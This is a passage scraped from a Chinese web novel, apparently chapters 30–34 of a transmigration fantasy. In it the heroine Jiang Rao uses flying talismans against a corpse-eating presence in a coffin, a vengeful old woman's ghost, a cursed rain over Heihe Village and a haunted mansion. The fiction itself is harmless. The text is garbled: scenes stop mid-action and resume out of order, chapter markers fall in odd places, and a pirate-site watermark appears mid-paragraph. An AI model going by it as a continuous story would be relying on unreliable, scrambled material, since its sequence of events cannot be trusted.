按理说,人死之后,先尸身入棺,后在家中停七日,随即才是封棺。 这封棺之前要钉棺材钉,棺材钉又称为子孙钉,而棺材只钉七颗,不可多也不可少,这七颗钉子也是有说法的,它们具有钉魂,破煞与人丁兴旺,增福德的作用。 随着一阵风袭来,悬挂着周边的白布也随着扬起,这一幕让李广只觉得一股寒意顺着后背直冲脑门,脑海中不由浮现那双青灰色的脚背,他咽了咽口水,边紧握手中的黄符,边朝旁边好兄弟陈千峰靠了靠。 侧厅去往大厅并不远,几步路的功夫就到了。 而原本候在这的下人们个个脸色苍白的站在厅外不远处,显然是被棺材里的动静给吓的不轻。 大厅内棺材前的木桌上的香炉上正插着三炷香,只是这三炷香已灭,那棺材里面正隐隐约约传来一些响动。 哪怕里头躺的是自己的亲人,韩员外等人也都不敢上前, 这时韩琴忍不住讥讽:“姜姑娘,你都收了十两银子,是不是该干活了。” 众人的目光瞬间都落在姜桡的身上,而姜桡也不负众望的走上前,这越走近,就越能闻到空气中弥散着一股尸体腐烂的恶臭味。 这时棺材突然左右晃动了几下,从里面传出来的声响也让姜桡听的很清楚 “喀嚓喀嚓” 那是什么东西在吞咽食物以及啃咬所发出的声音,她脸色瞬间变的难看起来,脑海中也不禁想起丁氏说的,周边的野兽多,怕它们钻到棺材里头。 可棺材已封了钉,那便彻底封死,若有什么东西藏在里头,早就因缺氧而死,不可能活这么久。 姜桡连忙侧过身看向韩员外:“这棺材里面怕是混入别的东西,不起钉不开棺,你家老夫人的尸骨怕要被吃的干干净净。” 韩家人瞬间反应过来,丁氏更是不可置信:“这封棺时我们仔细检查过,不可能有别的东西藏在里头。” 话音刚落,棺材中又传出“喀嚓喀嚓”的声,紧接着是咀嚼吞咽的口水声,这次每个人都听的清清楚楚。 想到亲娘的尸身或许被啃的面目全非,韩员外脸色有白转青,差点没晕过去,他急忙大喊下人过来开棺,可这种事情哪有人愿意上前,纷纷吓的朝后退。 没办法,韩员外只能看向姜桡。 “姜大师!” 起棺这事姜桡从来没做过,这也怪不得她,为响应华夏国政策,人死都得火葬,从那以后棺材里只有骨灰,都成骨灰还能闹什么幺蛾子。 姜桡无辜的眨了眨眼:“你觉得我像是会开棺的人吗?” 这有钱能使鬼推磨,自然有钱能使人去开棺,韩员外是做生意的,开口出开棺者一人五两银子的高价后,立即就有人站出来。 不过他们并不是茶庄的人,而是镖车中的李广跟陈千峰。 杨镖头见状,恨铁不成钢的呵斥道:“你们没事瞎凑什么热闹!没钱我给你们!” 李广伸手挠了挠后脑勺:“可是镖头,你钱袋子都给姜姑娘了,身上哪还有银子呀。” 杨镖头气的狠狠瞪了眼多嘴的李广。 李广身上所有的银子都给了姜桡,他是真的缺钱,想着有五两银子,就能继续买些黄符保命,而陈千峰单纯是想多挣银钱多给心爱人添东西。 两人拿上家伙起钉开棺,姜桡则站在旁侧盯梢,以防万一,她右手捏手诀,请了五张黄符,只见五张黄符从挎包中钻出来,漂浮在她的周边。 除了神情淡淡的贺千宸,那漂浮着五张黄符,无疑震撼住在场所有人。 “咦!” 李广似是察觉有些不对劲的地方,他连忙抬头看向姜桡。 “姜姐,这里好像少了根钉子。” “先起来!” 可陆观棋不为所动,一副你不同意我就不起来的架势 许念乖乖的跪在旁边,她只想让少爷别那么难过。 贺千宸眉心紧紧蹙在一起,并冷声道。 “若一直跪着,此事就免谈。” 他不喜欢陆观棋用这种事情要挟自己跟阿桡。 至于驱除东都邪祟。 贺千宸清楚,阿桡心善,又把陆观棋跟许念当朋友。 所以此事,阿桡是不会袖手旁观。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 30-40 第 31 章 第三十一章 等陆观棋站起身,贺千宸才侧目看向姜桡,询问她的意见如何。 “阿桡,你是如何想的?” 姜桡想着若自己袖手旁观的话,藏在东都的邪祟将会害死更多的人。 陆观棋跟许念可能也在其中,甚至过几日卖云吞,鸡汤面的吃食摊位也都没了。 她思索片刻,语气严肃且认真的说道。 “我不想这座富裕繁华的东都,变成一座死气沉沉的空城。” 贺千宸侧目看向姜桡,他声音低沉而又温柔。 “那我陪你。” 张公乃黑河村的村长,自是要以大事为主,若那孙氏记恨自己,那便记恨吧。 姜桡单手撑着雨伞,并未给予张公想要的态度,她正竖起耳朵认真聆听雨水击落在伞身上的声音,自三人离开孙氏家后,那毛毛细雨变得密集起来,像断了线的珠子一样倾斜下来。 在张公说几句话的功夫,雨水已经形成一道道雨幕,周边的景致也跟着模糊起来。 姜桡瞥了眼脚边朝着低洼急促流淌的雨水,微微蹙起眉心,她发现雨势的大小似是同孙氏有关? 可很快,姜桡就反驳了这个观点。 兴许不是孙氏,也可能是王小虎,毕竟两人是母子关系。 可不管如何,殇魂定是被其中一个吸引过来的,她必须弄清楚事情的起因,才能知晓答案。 姜桡也没打算瞒着:“张公,现在就在解决这邪雨的事情。” 张公瞬间愣在原地,他哪能听不明白这话是什么意思。 “大牛二牛家就在那,我带你们去。” 姜桡撑着伞跟在张公身后,她忍不住抬头,略未嫌弃的看了眼贺千宸。 不明所以的贺千宸:…… 三人很快就来到大牛二牛家的院子口,张公站在院前喊了几声,一名穿着粗布衣裙的小姑娘才从屋子里探出了个小脑袋,她小心翼翼走出来。 张公连忙开口问道:“大牛二牛呢?我来问问他们前些日子去山里采菌子的事。” 小姑娘揪着手,有些委屈:“阿爹阿娘把他们带姥姥家去了。” 张公不曾想扑了个空,正准备去另外几名孩童家去问问时,却听身后那小姑娘突然道。 林有睇丝毫没有犹豫:“自是怎么对付那假道士,就怎么对付王小虎。” 姜桡抿着唇,她想了想:“这场邪雨的罪魁祸或许并不是王小虎。” “不可能!”林有睇声调突然拔高,甚至有些尖锐刺耳:“我阿娘说了,王小虎是遗腹子,是不详的存在。” 遗腹子是指怀孕妇人于丈夫死后所生的孩子,在众人看来,遗腹子是不详的存在,乃天煞孤星,会带来灾难的。 姜桡那双漂亮的葡萄眼露出一抹错愕的神情,她突然反应过来,林有睇的话是有冲突的,她阿娘既如此厌恶王小虎,那在家中定没少说孙氏与王小虎的坏话。 作为家中一份子的大牛二牛自然耳濡目染,他们定是不会好好的同王小虎去采菌子的。 姜桡的目光再次落在林有睇的身上,带着审问的语气质问道:“三人采菌子时,可有发生什么?” 林有睇下意识躲避姜桡看过来的目光,她低着头,然后晃了晃脑袋。 姜桡则继续追问:“采菌子时,小虎年纪最小,大牛二牛可有细心照顾他?” 林有睇也并未多想,轻轻“嗯”了声。 这声轻“嗯”也让姜桡笃定林有睇在说谎,或许从一开始她嘴里就没有一句实话,一直在误导她跟张公! 姜桡心里头既觉得气愤又觉得后怕。 若她信了林有睇的话,认定问题就是出在王小虎的身上,结果不敢想。 张公也察觉一丝端倪,他小心翼翼问道:“姜姑娘,怎么了?” 姜桡冷声呵斥:“她一直在说谎。” 林有睇猛的抬起头,随即大声反驳:“我没有!” 姜桡直勾勾盯着林有睇那露出慌乱神情的双眸:“你阿娘说小虎是遗腹子,是不详的存在?” 林有睇立马辩解:“这话不止我阿娘说话,村里其他婶子也这样说。” 姜桡脸上露出一丝不悦,半分脸面都没给林有睇留,直接陈述事实。 “你阿娘既如此厌恶小虎,大牛二牛又怎会细心照料小虎,那天你并没有跟在三人身后,更不知发生了什么,方才所说的一切不过是你的胡编乱造。” 林有睇脸色瞬间变的苍白起来,无比慌乱的揪着手指,那天她的确没跟在三人身后,也不知道发生什么,之所以这样说,是认为王小虎本就是不详的存在,若他死了,兴许笼罩在村子上方的雨就停了。 到时候,阿爹阿娘的目光也会落在自己身上。 她林有娣就是黑河村的恩人。 张公万万没想到林有睇胆子竟这般大,竟敢胡言乱语,连连仰头叹气,脸上更是露出一副极其失望的神情,林有睇下意识求助那看着如仙人般的男人,可对上那双幽深的眼眸,不禁打个寒碜。 既无法从别人那得到答案,姜桡决定自己去找。 她心里有种强烈的感觉,只要弄清楚那日采菌子到底发生什么,兴许就能找到怎么解决殇魂的办法。 姜桡要去山脚下,去寻着王小虎那游走的魂。 她看了眼跟过来的张公:“张公,我们要去山脚下寻魂,你同行的话会不方便。” 既说不方便,张公也不好厚着老脸跟去,只能站在原地目送两人的身影消失,才幽幽的叹口气,只希望姜姑娘能早些解决此事。 若不然,黑河村的村民都快过不下去。 离黑河村最近的山就在祠堂后,姜桡瞭望悬挂在祠堂正门那在风雨中飘摇的红灯笼。 半响,她才开口抱怨着:“这一百两可真是不好挣。” 姜桡伸手扯了扯贺千宸那干爽的衣角:“快帮我撑着伞,我数数有多少黄符。” 黄符就是她保命的家伙事。 更何况待会要去山脚下找魂,指不定会碰到那只殇魂,姜桡总得要做好充足得准备才行。 贺千宸伸手接过姜桡递过来的雨伞,将其撑在上空,那双细长的丹凤眼直勾勾盯着面前神情认真的女子。 “阿姜可真是心善。” 他声音低哑沉冷,辨不出是恭维还是讥讽。 姜桡数黄符的手一顿,她抬起头,看着毫无作用的贺千宸。 “什么心善,我这是为了那一百两,难不成以后喝西北风过日子!” 姜桡歪着脑袋,还想说些什么,却见贺千宸又是那副似笑非笑的模样,尤其是那双好看的丹凤眼中的阴骘,吓得她立即低下头。 算了!惹不起! 姜桡将数好得黄符再数了一遍,正准备拿回自己的雨伞,却被贺千宸避开,他伸手将姜桡那把雨伞丢弃一片,而后将手中撑的这把缓缓挪了过去。 贺千宸握伞的那只手的衣袖滑落而下,露出细白的腕部,那大拇指的指腹则不着痕迹磨蹭着伞柄, “我来替阿姜撑。” 快想想,昨晚有没有什么遗漏的地方! 用灵识封印了听觉,所以那古怪的哼吟声对他们造成不了什么危险。 其次就是白雾。 两人当时都站在白雾中,且离的很近,若白雾有问题,姜桡也能察觉的到。 那就只剩下最后一个! 锦鲤! 那些奇形怪状的锦鲤! 姜桡似是想到什么,连忙脱下鞋袜,在看到昨夜被鱼撞到的地方,已经红肿的厉害。 如果不是灵族的特殊性,换作普通人,脚踝处怕已经是少块肉。 而最为诡异的是,她竟感受不到伤口处疼痛,哪怕用力摁了摁,都没有什么不适。 不过这也让姜桡心里,冒出一个十分荒缪的猜测。 第 32 章 第三十二章 那群形状不一样的锦鲤! 它们会不会趁自己不注意,把“程千鹤”给吞入腹部中了? 毕竟世间之大,无奇不有,没有什么不可能的事。 何况也只有这个猜测是最合理的。 以“程千鹤”的身手,若是邪祟出手将其掳走,定会有一番激烈的打斗。 但被锦鲤吞下腹中却不一样,只是瞬间,人就可以消失不见。 可这一切只是姜桡的猜测,想要验证,还需等晚上再出去等。 那只亡魂是名个头矮小,身形肥胖的的老婆子,整张脸呈死人的灰青色,银灰色的长发凌乱的遮挡住面孔,只剩下那双被黑色瞳孔占据的双眼,双手正死死的捁紧赵氏的脖子。 许是察觉到姜桡的目光,抬头看了过来,嘴角朝耳根扩大,露出一个极其“和善”的笑意。 “你是来帮这个贱妇吗?” 那声音嘶哑且幽怨。 不等姜桡反应过来,那老婆子便伸出黑色的指甲,朝她扑了过来。 姜桡迅速朝后退了几步,右手的食指中指竖起,大拇指紧贴弯曲下来的无名指与小拇指,并大喝道。 “八方符灵听我令,缚!” 两道黄符迅速从挎包中飞出,直接将飞扑过来的老婆子钉在半空中,被束缚住的老婆子疯狂的嘶吼着,不知是不是这场雨的缘故,亡魂的身形竟慢慢的浮现出来。 在场村民们只见姜姑娘脸色突变,紧接两张黄符自个窜了出来,还没明白发生什么事,便见死去的方婆子出现在他们的面前。 村民们哪见过这样的世面,胆小的直接吓晕了过去。 从死里逃生的姜桡心还悬在嗓子眼上,心里明明是怂的要命,但为了维护自己形象,硬着咬着牙坚挺着。 她在心里疯狂默念道。 一百两!一百两!一百两! 方婆子见自己挣扎不开,只能死死的盯着自个儿媳赵氏,开始破口大骂。 “贱人,贱人,是你害的我,定是你害的我,不然好端端的我怎会摔死。” 赵氏脸色苍白,没等她开口解释,屋内突然走出一名中年男子,他目光落在半空中的方婆子,声音哽咽的哀求着。 “阿娘,我求求你,别在说谎了。” 赵氏红彤着眼,急忙拉住自家男人的胳膊,示意他别再说下去。 这话让方婆子似是被什么突然掐住了脖子,只能发出“嗬嗬”声。 那中年男子不顾赵氏阻拦,继续道:“你总说赵氏让你干重活,不给你吃饱饭,可明明家中杂活皆是赵氏在做,米油盐更是被你锁在柜子中。” 他几乎是哭着说出来。 “赵氏是儿苦苦求娶的人,阿娘活着就如此刁难她,为何死了还不放过她。” “当儿求你了,阿娘!你就放过赵氏吧。” 方婆子那双被黑色瞳孔的占据的眼眸逐渐变红,依旧是不甘的骂道。 “就是这个贱人害死的我。” 中年男子见状,只能抬头看向面前的小姑娘,声音哀求道。 “姜姑娘,可否超度我娘!” 超度亡魂的事,都是姜桡的师傅干的,而超度亡魂是有两个法子。 一是摁着亡魂的头去往生,她见这,手段相当残忍。 二是亡魂了解心愿,自愿往生。 姜桡犹豫半响:“我试试。” 她看着方婆子身上绵绵不断的怨气,再不超度的话,怕是要成为厉鬼。 “八方符文听我令,起!” 话音落后,挎包中的余下八张黄符腾空而起,它们立在姜桡的身后,随时听她的调令。 姜桡看向方婆子,小心翼翼问道。 “你愿去往生吗?” 被两张黄符钉在半空中的方婆子吓得一激灵,她总感觉自己开口说句不愿,那八张黄符会一张一张打过来。 半响。 她几乎咬牙切齿:“愿。” 话音落后,方婆子身上那些怨气似是被阵风吹散,整个魂体慢慢化为点点荧光。那一刹那,方婆子脑海浮现年幼的自己依偎在阿娘的怀里,听着阿娘哼出的童谣。 在彻底消失不见的瞬间,她同自己释怀了。 姜桡连忙收回那八张黄符,她有想到,自己第一次超度竟如此的顺利, 而站在身后的贺千宸只觉得眼前一阵刺眼的金光闪过,他微眯着眼,神情隐晦不明。 这时中年男子与赵氏冲着姜桡鞠躬一拜表示感谢,那些胆子小的村民们也都寻个理由急忙忙离开,生怕又瞧见什么不得了的东西。 姜桡将八张黄符塞回挎包中,继续环顾四周。 很快就在面前院子的左侧处发现一抹水银般水渍,那是殇魂所遗留下的痕迹。 她走过去,思索着这地方有什么吸引殇魂时,便听见张氏开口说道。 “前些日子,我夫君同城里的酒楼谈了笔生意,要收许些菌子,当时送菌子的村民们皆都站在这候着,可有什么不对劲之处?” 姜桡摇摇头,眉心却微微蹙起,她怀疑这只殇魂一直跟在某个村民身边,她突然想起那道很轻很轻的哭声,不由侧目看向跟在自己身边的贺千宸 空气中那越发浓郁的腥臭的气味让贺千宸眉心蹙紧,这气味让那些陈旧的记忆如海浪翻滚而起,那双细长丹凤眼中冷意森然。 心中萌生杀意的瞬间,额间荆棘的罪仙印突然发烫。 贺千宸清晰的感觉到心脏被长满长刺的荆棘紧紧包裹着,生不如死的痛意让他脸色苍白如纸,看起来极其的吓人。 这一幕让姜桡露出错愕的神情,方才还好好的,怎么就突然一副快要死的样子! 她立马慌了起来,并压低声音,十分担忧道:“贺千宸,你是哪不舒服吗?” 姜桡倒也不是关心,而是焦急,毕竟两人脚上还连着铁链子呢!! 鬼知晓他若是出了事,自个有没有影响。 贺千宸缓缓抬起头来,他忘了有多少年没听见有人唤这个名讳,只觉得陌生的厉害,他忍不住勾起嘴角,讥讽天道烙在额间的罪仙印。 心中杀意散去,包裹住心脏的荆棘也随之消失。 张公也被这一幕吓得不行,他忍不住心里嘀咕,没想到贺公子年纪轻轻的,身体竟这般虚。 真是太可怜了。 张公满脸担忧:“要不贺公子先回去歇息?” 话音刚落,姜桡急忙开口反驳:“不行!” 她可是把两人不能离的太远,否则那荆棘会从血肉中生长出来的话牢记在心。 这时贺千宸声音温和的解释:“让张公费心了,不打紧,我歇一会就好。” 姜桡:\"……\" 张公闻言,欲言又止的看了眼姜姑娘,毕竟是两小口的事,他掺和进去像什么话,索性眼不见为净,走在最前面带路。 黑河村占地面积极大,人口近百。 从村口的左侧是村民平时洗衣的小池塘,继续向前,是一排排坐落无序的扎着篱笆的小院子,村中心伫立一棵百年大榕树,本应嫩绿的叶子泛着黄,打焉耸拉着。 村中心后方依是村民们修建的院子,村尽头则是用青石砖修建的祠堂,那骗人的老道士还丢在里头关押着呢。 三人绕着村子走一圈后,那日头正跌进西山,飞溅而出的余晖,染红周边的晚霞。 可村内的雨势忽变得急促,将油纸伞砸的“哒哒”作响。 姜桡将手中油纸伞抬起,忍不住将手伸出去,那豆大的雨水砸落在手心生疼生疼的,也不知为何,她又想起那道很轻的哭声。 张公恨不得姜姑娘能早些解决这邪雨,可见天色渐晚,雨势又变大,只能开口道。 “贺公子,姜姑娘,这天也快黑了,咱们还是先回去吧。” 张公将两人带回自家院子,待用完饭后,张公的儿媳妇便将姜桡与贺千宸领到一间屋子门前,正准备离去时,却被姜桡开口喊住。 “嫂子,我们是住一间吗?” 张公儿媳妇理所当然道:“这夫妻自然是要住一起,同床共枕。” 姜桡?!! 姜桡偷瞥了眼许念的神色,犹豫片刻,才认真道。 “许念,当初就算我没出现,你也会活下来,没有陆观棋,你也能走出上河村。” “有些路不一定要有人陪着,你才能继续走下去,有些风景一个人看,也依旧很漂亮。” 这番话让许念直接呆愣住,她觉得这些话有些难懂,可又觉得心里好像有什么东西在松动。 许念双手下意识握紧,她鼓起勇气,问出一直想要问的问题。 “能像,姜姐姐,那么厉害?” 姜桡用力点点头:“当然能!” 这让许念心里忽然没有那么难受了,她觉得一个人好像也没什么不好。 自己还有半锭银子,那可是很多很多的钱,回去买一间小院子也有剩呢。 姜桡似是想到什么,她凑到许念耳边轻声道。 “正好,姜姐姐需要你帮一个忙。” 第 33 章 第三十三章 酉时。 散发着金色光芒夕阳慢慢坠入,飞溅而出的霞光染红周边云彩,瞬间红光遍野,显得大半片苍穹是如此的绚丽多彩。 东侧的暗夜正在蔓延,只稍片刻,朝将正片苍穹吞噬殆尽。 姜桡带着许念坐在城外的树枝上,看着热热闹闹的城门口,随着夜色降临后,瞬间变得冷清起来。 夜风袭起茶馆的旗幡,也卷起姜桡的衣裙,她目光盯着东都外的城墙,侧目看向许念。 “怕不怕?” 许念一脸坚定:“不怕!” 这群孤魂被赶入的冥海归墟没多久,共工怒触不周山,天柱折断,天河从九天坠落人间,而后女娲补天。 虽没让人类灭亡,但这场灾难,却导致孤魂遍野。 于是后土化为轮回,从那之后,天地间有了黄泉,也有阴阳轮转。 可那些被赶入冥海归墟城的孤魂却无法入轮回,那座城变成了牢,成为一个冰冷刺骨,永远找不到出口的地方。 归墟中的孤魂成了殇魂,因不甘与冲天的怨气,自那以后,凡是跌入海中溺死的亡魂,它会被这些归墟城的殇魂们伸手拽入深渊,沉入那座冰冷刺骨的城中,成为其中的一员。 可在书中时间线里,千年之前,归墟国被名半仙打开了个口子,里头殇魂趁机逃走大半,而它们的存在,皆会引起邪门且诡异的事情。 就如笼罩在黑河村之上的大雨。 等姜桡回过神,却发现身边的贺千宸没了踪影,她连忙回头找人,却见贺千宸站在后方,正弯着腰,似是要摘下面前那一朵盛开的白色野花。 黑色的衣袍在微风中飘荡,那如绸缎般的黑发亦如瀑布般倾泻而下,将那张由上天精心雕琢的侧脸给遮挡住。 明明是沐浴在温暖的阳光中,可他似是将那阳光拒之门外,整个人如深海上的孤岛,全身散发冷冰的气息。 她想了想。 或许这就是反派大佬独特的气场吧。 姜桡哪敢催这个祖宗,见脚踝处的铁链还好好的,她才放心下来,站在原地耐心的候着。 良久久,贺千宸才慢悠悠的走过来,那双狭长的丹凤眼露出无辜的神情。 “可是让你等久了?” 姜桡连忙摇头:“没有!” 她见贺千宸双手空空,忍不住多嘴:“那花你没摘下来?是不喜欢吗?” 贺千宸似笑非笑道的说道。 “喜欢一朵花,未必要将它摘下来。” 姜桡神情有些惊愕,她想是不是贺千宸失忆的缘故,心性才同原著中相差那般大。 能怜惜一朵花的人,应该没那么坏。 偌大丛林中,两人一前一后的走着,中间距离相隔并不算远,只是在这参天巨树前,两人的身形却显的十分的渺小。 姜桡总觉得贺千宸像是出来郊游的,走走停停,看看瞧瞧,在耐心一次被一次耗尽时,她就开始自我PUA。 毕竟是被关押千年的罪人,这刚放出来是这样的。 先忍忍! 等解除契约,立即分道扬镳。 至于反派跟主角之间的恩怨情仇,那是他们的,跟炮灰可没半分关系。 从丛林中走出来时,视野瞬间开阔,尤其是头顶之上的苍穹更是万里无云,似碧玉般清澈,光瞧着就让人心情愉悦。 姜桡踩着刚冒着嫩芽的野草,绕路走到右侧稍微宽阔的路径,她记得沿着朝前走,便是那黑河村! 这时站在后方的贺千宸突然开口:“这是要去哪?” 姜桡自然不好说是去寻仇,而是换了个极其委婉的说法。 “回娘家!拿东西!” 她说的咬牙切齿,哪像回娘家,分明是去找仇人干架。 贺千宸也没戳穿,而是安静的跟着。 差不多半盏茶的功夫,就能远远的瞧见黑河村的村口,只是还未走进,便能闻到空气中弥散一股淡淡的腥臭味,那味道像是许些鱼虾堆积一起所腐烂所散发出来的。 这越走进,那腥臭味便越发浓郁,而腥臭味的来源则是落在黑河村内的雨水所散发出来的。 那雨邪的狠。 眼下明明是清空万里,艳阳高照,可若踏入黑河村村口一步,豆大且散发腥臭的雨水便砸落到身上。 而诡异的是,黑河村上空一片黑云都瞧不见,似是在半空中落下,且范围只在黑河村。 姜桡来得正是时候,只见黑河村的村口,一名身着灰色道袍,蓄着白色胡子的老道长正在有模有样的开坛做法。 黑河村村长张公正满脸忧愁,在他身后是今日抬着花轿四名中年男子。 其中一名男子忍不住小声嘀咕。 “张公,咱们听了这老道长的话,给黑潭中的河神娶亲,可这雨怎么还没停,他该不会是骗子吧。” 还未等张公开口,正在做法的老道长却冷哼一声。 “河神娶亲事关重要,关乎生辰八字,良辰吉日,你们随意找个来历不明女子去充当河神的新娘,怎能平息河神的怒……” 话还未说完,姜桡就咬着牙冲了过去,敢情都是这老道长胡说八道,她才遭此一劫。 怒火“蹭”的下烧断姜桡的理智,她上前一脚踹倒设好的法坛,而桌上的东西瞬间滚落而下,用朱砂绘制的符文则被一阵阴冷的风吹的四散开来。 姜桡一身湿漉漉的红色嫁衣,长发大半散落在脑后,另一半紧贴那张苍白如纸的脸上。 她还没有出声呢,底下就有人惊呼。 “张公!张公!是冤魂索命来着!!” “定是因为我们诓骗她,这才心有怨气的从黑潭中爬出来寻仇的。” 本打算呵斥的老道长瞬间双腿打颤,正打算偷偷逃走,底下也不知谁突然大喊道。 “大师,你快收了她!” 姜桡的目光正死死的盯着旁侧那吓的站都站不稳的老道长,不由冷笑一声,什么老道长,分明就是个大骗子。 在老道长眼里,眼前的红衣女鬼的笑过于狰狞,吓的“扑腾”一声跪在地上,声音发颤道。 “这冤有仇债有主,老夫可并未害姑娘你呀。” 姜桡被气的牙痒痒,直接开口骂道。 “你未害我!要不是你胡说八道,我能被推入黑潭!” 还莫名其妙招惹上这么大的麻烦! “什么!这是个骗子!” “我们可是给了他五十两银子,怎能是骗子呢!” 本不想管这件事的姜桡眼睛瞬间亮了起来,她先装模做样的轻咳几声,目光落在张公身上。 “我也不是什么女鬼,只是有些本事从黑潭活着出来罢了,你们这村子的事也不是不能解决,只是……” 姜桡想着,自己再怎么不济,那还有贺千宸兜底。 张公与在场村民们脸上全都露出震惊与错愕的神情,可想到这姑娘方才那一手,也不像是说谎,的的确确有几分本事。 兴许她还真能解决这件极其邪门的事。 张公也上道:“姜姑娘有什么要求只管提就是。” 姜桡一本正经的厚着脸皮,并故作严肃。 “我的出场费很贵。” 姜桡回头看去,才发现她们过来时的路,不知何时已被水给淹没。 显然。 鬼宅的主人在逼迫来到此处的人进去。 “咯吱!” 朱红色的厚重木门缓缓朝将两侧打开,正前方是一大块天然石雕刻的屏风,屏风上面雕刻是些山水画。 虽让人难以看清府邸内的布局,但余光中却也能瞧见树木上悬挂着不少盏白色灯笼 没有后路可退,也只能进府。 姜桡抓紧许念的手向前,在踏入府邸后越过石壁屏风,身后的木门又缓缓关上,断绝两人想要出去的可能。 察觉到许念有些紧张,姜桡轻声安慰。 “不怕,有我在!” 许念抿着唇,犹豫半响才开口道。 “姜姐姐,我感觉,有什么,在看着我!” 其实从踏进这座府邸时,她就有种说不出来的冷意,而且隐隐约约的感觉到,有很多双眼睛正四面八方的盯着自己。 姜桡有些诧异,她只是觉得这个宅子跟那轻灵的哼吟声般,让人感到阴冷潮湿,除此之外,并没有感觉到有人盯着。 难不成,因为许念是普通凡人的缘故? 姜桡连忙从灵宝袋翻出一块发光的白色石头,并直接塞到许念手里。 “这是护灵石,拥有护魂辟邪的作用,拿着可能会好一点。” 第 34 章 第三十四章 贺千宸没想到在这会看到姜桡,一时还以为是自己的幻觉。 那天夜里,他注意力都在雾气上,等看到那鱼嘴内长满密密麻麻的牙齿时,已经迟了。 回过神,人已站在这座府邸的门口。 在确定不是自己的幻觉后,贺千宸几乎是小跑到姜桡面前。 他眼底先是露出一丝欢喜的笑意,可想到阿桡与自己都被困在这破地方,笑容逐渐消失,变成了担忧。 “你怎么来到这的?” 姜桡望着面前的贺千宸,想都没想就上前抱了过去,她语气是掩不住的开心。 “阿鹤,可算找到你了!” “你都不知道我有多担心,生怕你被那邪祟给杀害了。” 附在油纸伞的王小虎更是急的不行,一直发出“哇呜哇呜”的叫声,若不是伞柄上的镇魂符在,怕早就跳出来冲了进去。 姜桡先试探性朝着屋内喊道:“孙氏?” 见屋内迟迟无人回应,她迅速将手中的三张黄符撒向空中,右手捏手诀。 “八方符灵听我令!御雷凝箭!” 三张黄符在空中呈“品”字阵形,由雷电化为一支支紫色羽箭从黄符中钻出,并迅速朝着漆黑的屋内飞去,可羽箭还未穿过屋内,便在半空中被击碎,化为点点紫色光芒。 姜桡不敢松懈,再次从挎包中抓着五张黄符撒向空中。 “八方符灵听我令,阵!” 五张黄符立即漂浮在姜桡的身侧,静候她的号令。 这时一个小小的人影从雨中缓缓现身,他身上的穿着与打扮同王小虎一模一样,原本平整光滑的左半脸上,多了半截眉毛,鼻子虽完好无缺,但这副摸样依惊悚的可怕。 姜桡心知肚明,眼前的就是她一直要找的殇魂。 殇魂仅有的右眼露出凶光,他边伸手边道:“阿娘,我,我的。” 从天而落的雨瞬间静止在半空中,在殇魂挥手的瞬间,四周的雨珠子瞬间调转方向,并朝着姜桡迅速袭去。 姜桡心中虽有些发怵,但还是硬着头皮来面对,她右手捏手诀,五张黄符瞬间散发金光,那一抹金光亦如坚硬的盾牌,将两人一魂笼罩其,也将雨珠抵挡在外。 可很快,姜桡就察觉不对劲。 这雨水似是有腐蚀的作用,金光也在慢慢的消散,看来不能坐以待毙,得想办法才行。 姜桡并未寄希望旁侧的贺千宸,也好在昨晚画许些黄符,倒也不至于弹尽粮绝,她似是想到什么,低头从挎包中找到一张黄符,上面是用红色朱砂所画的繁琐符文。 “四方符灵听我令,唤炎为牢。” 姜桡使用黄符的威力并没有她师傅那般出色,但胜在于她知晓千万种符文的画法。 这张符文在姜桡面前迅速的自我焚烧,而在正前方,一座被汹汹烈火包围的笼子慢慢显现在正前方,与此同时,周边的金光也逐渐暗淡,一滴雨水狠狠的砸落在姜桡捏手诀的右手的手腕上,钻心的疼痛瞬间袭来。 只见被雨水砸落的地方,已经血流不止。 附在纸伞上的王小虎也痛苦的发出凄厉的惨叫声。 姜桡不能单指望那张黄符,只能忍痛在抽出五张黄符撒向空中。 “四方符灵听我令,御风成龙。” 五张黄符瞬间腾空而上,在金光彻底散去的瞬间,一道龙卷风平地而起,并将二人一魂笼罩其中,砸落过来的雨珠也被吞噬入内。 号令符灵次数越多,消耗的力气也越多。 姜桡只觉得双脚有些发软,但看着悬浮在半空中的火牢,她咬着牙大喝一声。 “镇魂!” 话音一落,冒着熊熊烈火的牢笼从空坠下,直接将那只殇魂困入其中。 在殇魂被困住的瞬间,被操控的雨珠不再朝姜桡所在的方向袭来,笼罩在黑河村的这场雨也在慢慢变小。 不知是因为殇魂源自于海底深处的归墟,还是别的缘故,它似是很畏惧这座冒着汹汹烈火的牢笼,整个人双手抱膝,卷缩在中间,身体更似是快要融化的冰,所露出的肌肤上都黏附着一层水,正慢慢的流淌落下。 看起来极其的可怜。 见殇魂被控制住,姜桡才痛的呲起牙来,她看着手腕处上那黄豆大小的伤口,见从里头冒着森森的黑气,连忙从挎包中掏出一张黄符,将其缠在伤口处。 这时屋内突然传来椅子被绊倒的声音,姜桡抬头便看到孙氏急忙忙从屋内的跑出来,她似是能瞧见烈火牢笼中的殇魂,先是愣一下,随即轻声唤道。 “小虎?” 原本卷缩在牢笼中间的殇魂整个身子微微一僵,他缓缓抬起头来,露出自己真正的面目,原本拥有的五官的脸,此时却那张如同光滑白纸般。 而明明害怕烈火,却还是朝着孙氏所在的方向慢慢走去。 姜桡整个人也彻底呆愣在地,一直以为她对这个书中世界都感到很虚幻,就像是一场随时都会醒来的噩梦,可手腕伤口处的阵痛,还有看见殇魂那张没有五官的脸时,才彻底反应过来。 原本的世界,她是回不去了。 此时,殇魂的双手死死的握住那烈火所幻化的栏杆,那双手被烈火灼烧成黑色,手指头正在一点一点的在消失。 但它依旧不放弃,努力的朝孙氏所在的方向靠近。 孙氏犹豫片刻,她朝前走了几步。 姜桡连忙开口阻止:“它不是王小虎。” 孙氏轻声道:“我知道,它不是小虎,它是小琅。” 她看着对自己伸出双手,似是想要一个拥抱的殇魂,眼底露出一丝心疼。 “小琅,你已经回家了。” 殇魂先是呆愣片刻,那张如同光滑白纸一样的脸上陆陆续续出现眼睛,口还有鼻。 远处的贺千宸见到这幕,脸上先是露出一抹诧异,随即那双漆黑如同你黑曜石般的眼眸微微闪动着,嘴角更是向上扬起,露出似笑非笑的神情。 姜桡则略为震惊道:“殇魂不是没有五官吗?” 这个认知是自然是从原著中那知晓的。 游荡在归墟中的殇魂,会忘记一切,包括自己的脸。 也正因这点,姜桡才没有怀疑昨晚找自己求救的“王小虎”是殇魂。 贺千宸沉默半响,才缓缓开口。 “是,但殇魂一旦拥有五官,便是完成心中执念,重新入六道轮回。” 少有的幸运。 姜桡被震惊的不由瞪大双眼,她还是第一次听到殇魂重回六道轮回,那为什么原著中没有讲述过这一点。 